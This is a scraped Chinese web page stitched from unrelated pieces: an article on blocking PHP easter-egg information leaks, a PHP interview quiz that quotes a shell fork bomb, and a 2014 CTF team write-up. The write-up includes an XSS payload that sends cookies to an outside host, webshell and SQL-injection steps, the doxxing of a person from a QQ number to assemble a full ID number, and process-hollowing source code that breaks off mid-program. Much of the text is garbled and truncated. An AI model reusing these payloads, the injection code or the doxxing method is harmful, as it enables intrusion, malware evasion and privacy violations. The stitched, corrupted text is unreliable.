用php彩蛋得到一个网站的信息后flag被英雄联盟隐藏彩蛋了 怎么办

全国统一热线:4
当前位置: >
> 常见问题 > 内容
阻止PHP彩蛋信息泄漏
作者:佚名  文章来源:前沿数据  点击数:  发布日期:
什么是PHP彩弹:
彩蛋的网络解释是:用于电脑、电子游戏、电脑游戏、影碟或其他互动多媒体之中的隐藏功能或信息。PHP包含一个安全漏洞,可能导致未经授权的信息泄露,如果你正在运行PHP,就有可能会被人发现PHP版本和其他敏感信息。有必要解决这个彩蛋问题来确保您的网站服务器安全性。
PHP彩蛋是如何运作的:
只要运行PHP的服务器上,访问任何网页都可以在域名后添加以下字符串来查看信息:
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 (PHP信息列表)
?=PHPE8-11d2-A769-00AA001ACF42 (PHP的LOGO)
?=PHPE8-11d2-A769-00AA001ACF42 (Zend LOGO)
?=PHPE8-11d2-A769-00AA001ACF42 (PHP LOGO 蓝色大象)
如果可以通过以上命令查看到版本信息、说明expose_php是启用状态,这样一些“恶意攻击者”就知道了你的版本号来利用已知的版本漏洞来进行攻击。
如何阻止彩蛋:
进入服务器把php.ini里的expose_php设为Off就可以屏蔽了。php.ini文件一般在C:\Windows和php安装目录下、2个地方都要修改。
如果你不能操作php.ini文件,也可以通过设置.htaccess来进行屏蔽。
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]
通过以上两种方法,我们可以屏蔽一些PHP信息,很多服务器默认设置expose_php是开启的,最好是把它关闭了。
下一条:没有了
没有相关文章
Copyright ©
黑龙江前沿信息技术有限公司 All Rights Reserved
全国统一服务热线:4&&&&&服务邮箱:
地址(ADD):黑龙江省哈尔滨市道里区工厂街41号二层&&&&&邮编(ZIP):150010
增值电信业务经营许可证:&&&&&&&&&&你当前的位置: >
史上最难的php程序员笔试题
来源:网络营销自学网作者:admin点击: 次
  1、有关PHP字符串的说法,不对的是:
  如果一个脚本的编码是 ISO-8859-1,则其中的字符串也会被编码为 ISO-8859-1。
  substr()、strpos()、strlen()、htmlentities() 处理字符串时依据的编码方式是相同的。
  一个布尔值 Boolean 的 true 被转换成 string 的 & 1 &,false 被转换成空字符串。
  PHP的字符串在内部是字节组成的数组,用花括号访问或修改字符串对多字节字符集很不安全。
  2、下列Linux下Shell命令的说法,不正确的是:
  & $@ &将函数中所有参数当成单个字符串,& $* &把函数的所有参数当一个数组。
  crontab作业:& 0 5,6,7 * * */home/www/test.sh &意思是每天的第5,6,7小时执行脚本。
  Shell下执行命令& :(){:|:& };: & ,系统会没有响应,只能重启了。
  & find ./ -type f -name &*.& -print0 | xargs -0 wc -l & 能统计当前目录下PHP代码的总行数。
  3、以下正则表达式的说法,错误的是:
  在执行效率上 preg_match 比ereg的速度要略快一些。
  POSIX兼容正则没有修正符,PERL兼容正则中可能用到修正符。
  {n,},n是一个非负整数,意思是至少匹配n次; ?等价于匹配长度{0,1} 。
  PERL风格正则默认的非贪婪模式尽可能少的匹配所搜索的字符串。
  4、关于PHP数组的说法,不对的是:
  处理PHP数组,foreach的效率要比for高很多,是因为foreach走的是链表的遍历。
  无论是 array(1, 2, 3) 还是array(1 =& 2, 2=& 4)等,本质上都是hash_table。
  PHP数组底层采用的是循环链表,正向、反向遍历数组都很方便。
  PHP数组插入和删除操作的时间复杂度都是O(1)。
  5、有关PHP引用的说法,错误的是:
  可以将一个变量通过引用传递给函数,这样该函数就可以修改其参数的值。
  在一个对象的方法中,$this永远是调用它的对象的引用。
  unset一个引用,只是断开了变量名和变量内容之间的绑定,这并不意味着变量内容被销毁了。
  PHP引用本质就是指针,在函数调用范围内可以绑定到别的变量上面。
  6、以下对PHP命名空间的说法,不对的是:
  关键字 namespace 可用来显式访问当前命名空间或子命名空间中的元素,它等价于类中的 this 操作符。
  常量__NAMESPACE__的值是当前命名空间名称的字符串。在全局的,不包括在任何命名空间中的代码,它就是一个空字符串。
  任意合法的PHP代码都可以包含在命名空间中,但只有三种类型的代码受命名空间的影响,它们是:类,函数和常量。
  访问任意全局类、函数或常量,都可以使用完全限定名称,例如 \strlen() 或 \Exception 或 \INI_ALL。
  7、下列PHP相关的说法,错误的是:
  官方不建议将Non Thread Safe用于生产环境,所以我们选择Thread Safe 版本的PHP来使用。
  FastCGI下选择Non Thread Safe版本;ISAPI下选择Thread Safe版本。
  用PHP彩蛋能大致获取PHP的版本,PHP中一共隐藏了4个彩蛋。
  PHP官方推荐使用Apache的prefork模式,此模式下建议选用Non Thread Safe版本。
  8、关于的说法,不正确的是:
  JS中的函数就是对象,所以它们可以像任何其他的值一样被使用。
  语句& alert(1==true); & 和语句 & alert(2==true); & 的结果都是true。
  JS的数组其实就是对象,用for in语句可以遍历数组的所有属性。
  JS中的对象通过引用来传递,它们永远不会被复制。
  9、有关PHP面向对象的说法,不对的是:
  要实现一个接口,使用 implements 操作符,类中必须实现接口中定义的所有方法,否则会报一个致命错误。
  如果PHP的子类中定义了构造函数,则创建子类的对象时,会隐式的调用其父类的构造函数。
  序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
  类名可以是任何非 PHP 保留字的合法标签,汉字也可以作为PHP的类名。
  10、以下PHP高级特性的说法,正确的是:
  匿名函数也叫闭包函数,常用作回调函数参数的值,但是不能作为变量的值来使用。
  我们可以定义一个类去实现预定义接口Iterator,然后就能像访问数组一样访问这个类创建的对象。
  PHP在对象中调用一个不可访问方法时,__invoke() 方法会被自动调用。
  spl_autoload_register() 提供了一种更加灵活的方式来实现类的自动加载,不再建议使用 __autoload() 函数。
  11、下列关于HTTP协议的说法,错误的是:
  如果本地开启了Cookie,那么每打开一个网址,HTTP请求就会把相应的Cookie传给Web服务器。
  HTTP响应的状态码为301意思是暂时地把内容转移到一个新的URL,但是老的URL还没有废除。
  HTTP是一个基于请求与响应模式的、无状态的、应用层的协议,绝大多数的Web开发都是基于HTTP协议。
  绝大多数的Web开发离不开Cookie,如果禁用Cookie导致Session失效,可以通过URL来传递sessionID。
  12、以下对PHP文件处理的说法,正确的是:
  file_get_contents() 函数能用来抓取网页数据,但是没办法设置超时时间 。
  file() 函数既能读取文本文件也能读取二进制文件,但是读取二进制文件有可能出现安全问题。
  如果表单中没有选择上传的文件,则 PHP 变量 的值将为NULL 。
  fsockopen()和fputs() 结合起来可以发送邮件,也可以用来抓取网页内容,下载ftp文件等。
  13、关于Mysql索引的说法,不对的是:
  500万数据的用户表user在性别字段sex上建立了索引,语句 &select * from user where sex=1 & 并不会提速多少。
  对于需要写入数据的操作,比如DELETE、UPDATE以及INSERT操作,索引会降低它们的速度。
  唯一索引允许空值,而主键索引不允许为空值,除此之外它们是相同的。
  一般情况下不鼓励使用like操作,类似的& like &abc%& & 可以使用到索引。
  14、下列有关数据结构的说法,不正确的是:
  深度优先遍历是一个递归算法,在遍历的过程中,先访问的点被压入栈底。
  5000个无序的元素,希望用最快的速度挑选出其中前50个最大的元素,最好选用堆排序。
  直接选择、二分法、冒泡、基数等排序方法都是稳定的排序方法。
  栈和队列都只允许在端点处插入和删除元素。
  15、以下关于NOSQL的说法,不对的是:
  MongoDB不用先创建Collection的结构就可以直接插入数据,目前MongoDB不支持事务。
  Redis支持字符串、哈希、列表、集合、有序集合等数据结构,目前Redis不支持事务。
  MongoDB支持CAP定理中的AP,MySQL支持CAP中的CA,全部都支持不可能存在。
  Memcache既支持TCP协议,也支持UDP协议,我们可以把PHP的Session存放到Memcache中。
  16、关于设计模式的说法,错误的是:
  MVC模型的基本工作原理是基于观察者模式,实现是基于命令模式。
  观察者模式中,观察者可以改变被观察者的状态,再由被观察者通知所有观察者依据被观察者的状态进行。
  创立型模式的根本意图是要把对象的创建和使用分离的责任进行分离,从而降低系统的耦合度。
  设计模式的核心原则是:&开-闭&原则:对扩展开放,对修改关闭。
  17、下列关于常见开源PHP系统的说法,不对的是:
  Discuz采用单一入口的设计模式,这样的模式在权限控制,URL重写等方面都很有优势。
  Laravel要求PHP版本&= 5.3 ,它拥有更富有表现力的语法、高质量的文档、丰富的扩展包,被称为&巨匠级PHP开发框架&。
  HDWiki的插件共有三种类型,钩子类型、前台应用和后台应用类型,在后台可以在线安装HDWiki插件。
  WordPress的博客程序定位,简单的数据库层等都注定了他不能适应大数据。
  18、以下关于&表驱动法&的描述,错误的是:
  表驱动法查找无规则分布的数据采用阶梯访问的方法最佳。
  表驱动法是一种模式&&从数据库表里面查找信息而不使用逻辑语句。
  表驱动法可以作为复杂继承结构的替代方案,难点在于一个经过深思熟虑的查询表。
  凡是能通过逻辑来选择的事物,都可以通过查表来选择。
  19、下列关于全文检索技术的说法,不对的是:
  MySQL中把一个字段建立FULLTEXT索引,就可以实现全文检索,目前MyISAM和InnoDB的table都支持FULLTEXT索引。
  Sphinx是一个基于SQL的全文检索引擎,可以结合MySQL做全文搜索,它可以提供比数据库本身更专业的搜索功能。
  Solr是新一代的全文检索组件,它比Lucene的搜索效率高很多,还能支持HTTP的访问方式,PHP调用Solr也很方便。
  Lucene附带的二元分词分析器CJKAnalyzer切词速度很快,能满足一般的全文检索需要。
  20、以下关于大型网站的说法,正确的是:
  大型网站开发很多细节和小网站有巨大差异,如&浏览次数&,小网站用数据库记录,大型网站常采用NoSQL来存储。
  虚拟机技术不能用在大型网站上,是因为虚拟机性能较差,而大型网站的访问压力太大,采用后服务器可能会宕机。
  大型网站程序异常后,程序员可以依据服务器日志信息定位错误,然后在服务器上用vim修正错误即可。
  大型网站选择开发语言很重要,PHP只适合开发中小型网站,并不适合开发大型网站。
本文链接:/wzbc/phpstudy/552.html
上一篇: 下一篇:
李俊超,知名网络营销专家,速途公开课特邀讲师。艾瑞网...
知名网络营销专家李俊超做客速途网公开课,以自己对搜索...
几年的时间,SEO从鲜有听闻的全新概念发展成为一个热门...
Copyright ©
All rights reserved.
地址:北京朝阳区呼家楼 QQ: E-mail:
版权所有 违者必究 最终解释权归我要自学网(51自学网)Team:ROIS_ThreeLine(ET,Rice,liognaij)
这篇writeup由本人和两位队友共同完成,非个人单独作品。其中仅包含队伍提交通过的题目,在两位队友努力下取得第14的成绩,谨以此文为纪念。
若有幸被转载还请注明出处。
php彩蛋 URL后缀加上 ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 即可得到flag
:NnCSVv/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
大致看了下源码文件,发现没有flag& 仔细看可以发现有两个文件修改时间和其他的不一样
Manifest.json打开里面有这么一行:
"Key":"dGhlIGZvbGxvd2luZyBrZXkgaXMgbm90IHRoZSByZWFseSBrZXksIHlvdSBjYW4gZmluZCBpbiB0aGUgb3RoZXIgZmlsZSE="
Base64解码发现不是真正的flag ,并被告知真正flag在另一个文件。图片隐写?Winhex打开fuck.jpg 得到一串ASCII码,转换字符得到真正flag。
XDSec@2O14&&& #一开始有bug 提交会出错,后来修正了
过滤字符和数字,就到谷歌搜如何绕过,使用jsFuck编码,找到这个网址/files/hieroglyphy/,生成alert(/xss/)代码
exp太长不贴出,成功弹窗
右键源码,发现注释里有提示src/.png,打开是一个二维码,手机扫一扫是一篇文章,讲的是图片隐藏,lsb图片隐藏,拿出神器stegsolve,点data extract,red最后一位0位置上打勾,点击preview,key就出来了
搜索一下 php解密 用php神盾解密,以pass为关键字在明文中搜索,很快就得到flag了&
XDSE@L0VEr2014
题目链接下载网站源码,解压后发现about.asp文件没了,直接在压缩包查看,发现about.asp为网站不死马,找到着两行:
mNametitle ="gh0st2014"& ' 标题
Copyright="qq:"& '版权
直接搜索QQ号,得到昵称和个人详细地址生日,进入空间得到身份证后四位,拼凑出完整身份证。按照题目要求填入帐号密码得到flag
存在这个文件:8081/read?file=newapp.py
但是每次只会随机返回两行,然后就慢慢去拼凑,拼凑了一些比较有用的
'/getflag', 'xdctf'
def func(a):
if a == 'le4f.net':
flag = open("flagishere","r").readlines()[0].strip()
web.header('flag', flag)
return 'Nice Job!!!'
class xdctf:
           
web.input(_unicode=func(web.input(unabletoread='showmeflag!!!!').get('unabletoread')))
return "flag is here?!!show me flag!!!!"
_unicode存在漏洞
漏洞原理/PENETRATION/web-py-runcode-tip.html
构造::8081/getflag?unabletoread=le4f.net
然后抓包,查看response,就可以在header看到flag了
flag: XDCTF{X1di4nUn1Vers1tySecT3AM}
Xss题,根据提示,用 [ ] 代替 & & 作为标签符号,经测试可以发现过滤了 . & & = 可以使用&svg&标签加编码绕过,再闭合&p&标签,最终exp:
[/p][svg][script]location.href="http://www.xx.com/get.php?msg="+document.cookie[/script][p]
提示很明显,我们要从phpok这个网站入手,乌云上搜phpok的漏洞,前台任意文件上传getshell那个漏洞试了几次无法利用,用phpok的sql注入漏洞,拿出sqlmap跑,翻翻数据库,很快就跑出第一题的flag
也跑出用户名admin ,密码198712
这里要注意解密密码的md5时候要把后面多余的:a5去掉,然后解密得到的明文也要去掉a5
用admin和198712登录网站后台,找到模版管理,可以添加.php格式模版,直接贴上一句话(大概这样,网站打不开了,具体名字记不大清),连上菜刀,在网站根目录看到了thereisaflag~.php,打开文件就看到了flag-3rdf1agis0nth155erver&
flag2提示flag3在服务器上,虽然有shell,但是没有跨目录权限,open_basedir的限制。就谷歌搜open_basedir bypass,然后找到一个php exp,主要利用sqlite一个漏洞,然后把这个php exp传到shell上,访问这个文件,一直点上层目录,然后就发现flag-whyflagisastupidfilename.txt这个文件,把后缀去掉就是flag了
exp地址:&
上大马,根据题目提到flag形式,直接搜索关键字flag-,然后就有了
用de4dot脱壳,之后用ILSpy看源码,发现有flag.rs,就在ReverseMe.exe目录下创建了flag.rs文件,输入aaa,运行ReverseMe.exe,得到あああ,多试几次后发现时单字符替换,于是就把可见的字符输入flag.rs,运行ReverseMe.exe,得到相应的密文,通过对照解出了41为的flag,cplg1r7f3~xq-%!&+@sb19)&0^&key#oXDSEC2014,提交错误。看到提示flag是44位的,
就在41位的flag后面加了3位,运行ReverseMe.exe,密文只剩下32位。分析main()函数发现41位的flag的前32位加密方法与44位flag的前32位加密方法是一样的,但44位flag的后12位多经过了2个处理,分别是method0和method1,说明44位flag的后12位经过method0和method1后变成了41位flag的后9位,把XDSEC2014 base64加密后刚好12位,再和array数组异或就得到了44位flag的后12位,加上41位flag的前32位就得到了完整的44位flag
cplg1r7f3~xq-%!&+@sb19)&0^&key#o==4102cesdx=
用uncompyle2对unknownScript进行反编译,得到源码,对源码进行分析,发现加密过程是把文件读入,进行加工后输出,输出的每一个字节的低七位代表输入文件的连续相同位的个数(最大为127),最高位代表该位的值。
例如输入文件二进制为
对应输出为0x06,0x85,0x01,0x82,0x02
写出解密程序,解密得到有flag的图片
解密程序源码:
#include&stdio.h&
char plain[60000]={0};
int main()
int i,count = 0;
char c1,c2;
FILE * fin_in = fopen("data","rb");
FILE * fin_out = fopen("flag.jpg","wb");
while(fscanf(fin_in,"%c",&c1)!= EOF)
c1 = c1&=0?c1:c1^0x80;
for(i=0;i&c1;i++)
plain[(count+i)/8]|=1&&((count+i)%8);
count += c1;
for(i=0;i&count/8;i++)
fprintf(fin_out,"%c",plain[i]);
fclose(fin_in);
fclose(fin_out);
fin_in=NULL;
fin_out=NULL;
Apk题目,反编译发现提示xx神器,想起之前看过的关于这个的新闻,网上查了下分析过程,锁定aseert文件夹的k.jpg文件,winhex尝试看了下,发现最后有包含key& md5字样的乱码,往上有dex文件头,果断抠出,用notepad& utf-8格式打开,得到flag:
&key&的小写16位md5加密
看到密文有很多的AB,觉得是培根加密,写了个脚本对截获的密文解密还是看不出什么
创建一个帐号1,记下One-time-Password是a0a5c5b828ca669a4a54cb0e
之后对自己进行转帐获得密文
562041AAAAA90AABAB7AABAB193AAAAA977AAAAA4AAAAA504AAABB3AABAB
137AAABAAAAAA8AAABBAAABAAABAB7AABAA71AABAAAAABBAABAB143AABAA
AAABA6AAAABAAABB99AAAAA7AABAAAABABAAAABAABAB4AAAAAAABAA5AAAA
A0AAAAA5AAABA5AAAAB828AAABA303846AAABB2AAAAA669AAAAA4AAAAA54
AAABAAAAAB0AABAA562041AAAAA90AABAB7AABAB193AAAAA977AAAAA4AAA
AA504AAABB3AABAB137AAABA7AAABB4AAABA01AAAAB242927AAAABAABAA0
643AABAB06AABABAAAABAABAA29AAAAB10AAAAAAABAA
f7f193a977a4a504d3f137ca8dcf7e71edf143ec6bd9
9a7efbf4ae5a0a5c5b828ca669a4a54cb0ef
7f193a977a4a504d3f137c7d4c01b43f06fbe29b10ae
发现其中含有One-time-Password,
多创建几个帐号后发现One-time-Password总是在第65-96位,
对截获的秘文解密后取第65-96位,成功登录Ph的帐号,
Please choose the Mode of Transfer
时要选第三个才能成功向Z2333转帐,转帐成功后就能得到
flag:xdctf{d4db3bbbc1d915e6ba0f7321}
解密脚本:
#!usr/bin/python
# Filename:Bacon_Decrypt.py
      'AAAAA':'a',
'AAAAB':'b',
'AAABA':'c',
'AAABB':'d',
'AABAA':'e',
'AABAB':'f'
ciphertext = raw_input('Input the ciphertext : \n')
plaintext=''
length = len(ciphertext)
while(i&length):
if ciphertext[i].isdigit():
plaintext += ciphertext[i]
plaintext += dict[ciphertext[i:i+5]]
print plaintext[64:96]
按照运行原理,进入应用程序之前要先把返回地址(该地址位于kernel32.dll中)压入栈中,再转向应用程序去执行,也就是说在刚刚进入应用程序后栈顶是一个位于 kernel32.dll 中的地址,我们得到这个地址后向可以向系统内存的低地址进行搜索得到kernel32.dll的装载基址。因为 dll 文件也是标准的 PE 文件,所以得到装载基址后,可以通过搜索kernel32.dll的导出表得到GetProcAddress和LoadLibrary的内存地址,再通过LoadLibrary加载user32.dll,再调用GetProcAddress获得MessageBox的地址加以调用就可以了。
程序源码:
#include&windows.h&
#include&stdio.h&
char GetProcAddrName[]={'G','e','t','P','r','o','c','A','d','d','r','e','s','s'};
char LoadLibAddrName[]={'L','o','a','d','L','i','b','r','a','r','y','A'};
HMODULE hDllL
HMODULE (__stdcall*LLib)(LPCSTR lpLibFileName);
FARPROC (__stdcall*GPro)(HMODULE hModule,LPCSTR lpProcName);
int (__stdcall*fpFun)(HWND,LPSTR,LPSTR,UINT);
DWORD FindFun(DWORD,char*);
int main()
DWORD KernelB
IMAGE_DOS_HEADER *
IMAGE_NT_HEADERS *
mov eax,[ebp]
mov eax,[eax+4]
mov KernelBase,eax
KernelBase&=0xFFFF0000;
while(KernelBase&=0x)
doshead=(IMAGE_DOS_HEADER*)KernelB
if(doshead-&e_magic==IMAGE_DOS_SIGNATURE)
nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead-&e_lfanew);
if(nthead-&Signature==IMAGE_NT_SIGNATURE)
KernelBase-=0x;
LLib=(HMODULE(__stdcall*)(LPCSTR))(FindFun(KernelBase,LoadLibAddrName));
GPro=(FARPROC(__stdcall*)(HMODULE,LPCSTR))(FindFun(KernelBase,GetProcAddrName));
hDllLib = (*LLib)("user32");
fpFun=(int(__stdcall *)(HWND,LPSTR,LPSTR,UINT))(*GPro)(hDllLib,"MessageBoxA");
fpFun(NULL,"Hello Word","Hello Word",MB_OK);
DWORD FindFun(DWORD KernelBase,char* Fname)
unsigned i,j,
char * FunN
WORD * AddrOfNameOrRVA;
DWORD AddrOfProcA
DWORD * AddrOfNameRVA,* AddrOfF
IMAGE_DOS_HEADER * pFile1;
IMAGE_NT_HEADERS * pFile2;
IMAGE_EXPORT_DIRECTORY * pE
pFile1=(IMAGE_DOS_HEADER*)KernelB
pFile2=(IMAGE_NT_HEADERS*)((PBYTE)pFile1+pFile1-&e_lfanew);
pExport=(IMAGE_EXPORT_DIRECTORY*)
((PBYTE)pFile1+pFile2-&OptionalHeader.DataDirectory[0].VirtualAddress);
AddrOfNameRVA=(DWORD*)(KernelBase+pExport-&AddressOfNames);
for(i=0;i&(int)pExport-&NumberOfNi++)
FunName=(char *)(KernelBase+AddrOfNameRVA[i]);
BOOL eql = TRUE;
for(j=0;j&strlen(Fname);j++)
if(Fname[j]!=FunName[j])
eql=FALSE;
AddrOfNameOrRVA=(WORD*)(KernelBase+pExport-&AddressOfNameOrdinals);
num=pExport-&Base+AddrOfNameOrRVA[i];
AddrOfFun=(DWORD*)(KernelBase+pExport-&AddressOfFunctions);
AddrOfProcAddr = KernelBase + AddrOfFun[num-1];
return AddrOfProcA
通过给CreateProcess传递CREATE_SUSPENDED参数来使calc.exe处于挂起状态,通过读取server.exe的内容来覆盖刚创建的处于挂起状态的calc.exe的空间,然后通过原始进程的空间来执行server.exe的内容
zombie.exe源码:
#include &stdio.h&
#include &windows.h&
#include &tlhelp32.h&
struct PE_Header
unsigned long
unsigned short
unsigned short numS
unsigned long timeDateS
unsigned long pointerToSymbolT
unsigned long numOfS
unsigned short sizeOfOptionH
unsigned short
struct PE_ExtHeader
unsigned short
unsigned char majorLinkerV
unsigned char minorLinkerV
unsigned long sizeOfC
unsigned long sizeOfInitializedD
unsigned long sizeOfUninitializedD
unsigned long addressOfEntryP
unsigned long baseOfC
unsigned long baseOfD
unsigned long imageB
unsigned long sectionA
unsigned long fileA
unsigned short majorOSV
unsigned short minorOSV
unsigned short majorImageV
unsigned short minorImageV
unsigned short majorSubsystemV
unsigned short minorSubsystemV
unsigned long reserved1;
unsigned long sizeOfI
unsigned long sizeOfH
unsigned long
unsigned short
unsigned short DLLC
unsigned long sizeOfStackR
unsigned long sizeOfStackC
unsigned long sizeOfHeapR
unsigned long sizeOfHeapC
unsigned long loaderF
unsigned long numberOfRVAAndS
unsigned long exportTableA
unsigned long exportTableS
unsigned long importTableA
unsigned long importTableS
unsigned long resourceTableA
unsigned long resourceTableS
unsigned long exceptionTableA
unsigned long exceptionTableS
unsigned long certFileP
unsigned long certTableS
unsigned long relocationTableA
unsigned long relocationTableS
unsigned long debugDataA
unsigned long debugDataS
unsigned long archDataA
unsigned long archDataS
unsigned long globalPtrA
unsigned long globalPtrS
unsigned long TLSTableA
unsigned long TLSTableS
unsigned long loadConfigTableA
unsigned long loadConfigTableS
unsigned long boundImportTableA
unsigned long boundImportTableS
unsigned long importAddressTableA
unsigned long importAddressTableS
unsigned long delayImportDescA
unsigned long delayImportDescS
unsigned long COMHeaderA
unsigned long COMHeaderS
unsigned long reserved2;
unsigned long reserved3;
struct SectionHeader
unsigned char sectionName[8];
unsigned long virtualS
unsigned long virtualA
unsigned long sizeOfRawD
unsigned long pointerToRawD
unsigned long pointerToR
unsigned long pointerToLineN
unsigned short numberOfR
unsigned short numberOfLineN
unsigned long
struct MZHeader
unsigned short
unsigned short partP
unsigned short pageC
unsigned short reloC
unsigned short hdrS
unsigned short minM
unsigned short maxM
unsigned short reloSS;
unsigned short exeSP;
unsigned short
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablO
unsigned short
unsigned char reserved[32];
unsigned long offsetToPE;
struct ImportDirEntry
DWORD importLookupT
DWORD timeDateS
DWORD fowarderC
DWORD nameRVA;
DWORD importAddressT
bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
SectionHeader **outSecHdr)
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
if(fileSize & sizeof(MZHeader))
return false;
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);
if(mzH.signature != 0x5a4d)
return false;
if((unsigned long)fileSize & mzH.offsetToPE + sizeof(PE_Header))
return false;
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);
if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
return false;
PE_ExtHeader peXH;
fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
SectionHeader *secHdr = new SectionHeader[peH.numSections];
fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secH
return true;
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr)
int result = 0;
int alignment = inpeXH-&sectionA
if(inpeXH-&sizeOfHeaders % alignment == 0)
result += inpeXH-&sizeOfH
int val = inpeXH-&sizeOfHeaders /
result += (val * alignment);
for(int i = 0; i & inPE-&numS i++)
if(inSecHdr[i].virtualSize)
if(inSecHdr[i].virtualSize % alignment == 0)
result += inSecHdr[i].virtualS
int val = inSecHdr[i].virtualSize /
result += (val * alignment);
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
if(curSize % alignment == 0)
return curS
int val = curSize /
return (val * alignment);
bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc)
char *outPtr = (char *)ptrL
fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH-&sizeOfH
int i = 0;
for(i = 0; i & inPE-&numS i++)
if(inSecHdr[i].pointerToRawData & headerSize)
headerSize = inSecHdr[i].pointerToRawD
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
if(readSize != headerSize)
return false;
outPtr += getAlignedSize(inpeXH-&sizeOfHeaders, inpeXH-&sectionAlignment);
for(i = 0; i & inPE-&numS i++)
if(inSecHdr[i].sizeOfRawData & 0)
unsigned long toRead = inSecHdr[i].sizeOfRawD
if(toRead & inSecHdr[i].virtualSize)
toRead = inSecHdr[i].virtualS
fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
readSize = fread(outPtr, 1, toRead, fp);
if(readSize != toRead)
return false;
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH-&sectionAlignment);
if(inSecHdr[i].virtualSize)
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH-&sectionAlignment);
return true;
struct FixupBlock
unsigned long pageRVA;
unsigned long blockS
void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
if(inpeXH-&relocationTableAddress && inpeXH-&relocationTableSize)
FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH-&relocationTableAddress);
long delta = newBase - inpeXH-&imageB
while(fixBlk-&blockSize)
int numEntries = (fixBlk-&blockSize - sizeof(FixupBlock)) && 1;
unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
for(int i = 0; i & numE i++)
DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk-&pageRVA + (*offsetPtr & 0x0FFF));
int relocType = (*offsetPtr & 0xF000) && 12;
if(relocType == 3)
*codeLoc = ((DWORD)*codeLoc) +
offsetPtr++;
fixBlk = (FixupBlock *)offsetP
#define TARGETPROC "calc.exe"
typedef struct _PROCINFO
DWORD baseA
DWORD imageS
} PROCINFO;
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
STARTUPINFO si = {0};
if(CreateProcess(NULL, TARGETPROC,
NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))
ctx-&ContextFlags=CONTEXT_FULL;
GetThreadContext(pi-&hThread, ctx);
DWORD *pebInfo = (DWORD *)ctx-&E
ReadProcessMemory(pi-&hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo-&baseAddr), sizeof(DWORD), &read);
DWORD curAddr = outChildProcInfo-&baseA
MEMORY_BASIC_INFORMATION memI
while(VirtualQueryEx(pi-&hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
if(memInfo.State == MEM_FREE)
curAddr += memInfo.RegionS
outChildProcInfo-&imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo-&baseA
return TRUE;
return FALSE;
BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
if(inpeXH-&relocationTableAddress && inpeXH-&relocationTableSize)
return TRUE;
return FALSE;
typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);
void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
STARTUPINFO si = {0};
PROCESS_INFORMATION
PROCINFO childI
if(createChild(&pi, &ctx, &childInfo))
LPVOID v = (LPVOID)NULL;
if(inpeXH-&imageBase == childInfo.baseAddr && imageSize &= childInfo.imageSize)
v = (LPVOID)childInfo.baseA
DWORD oldP
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);
PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH-&imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(!v && hasRelocationTable(inpeXH))
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
DWORD *pebInfo = (DWORD *)ctx.E
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ-&offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
peXH-&imageBase = (DWORD)v;
if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
ctx.ContextFlags=CONTEXT_FULL;
if((DWORD)v == childInfo.baseAddr)
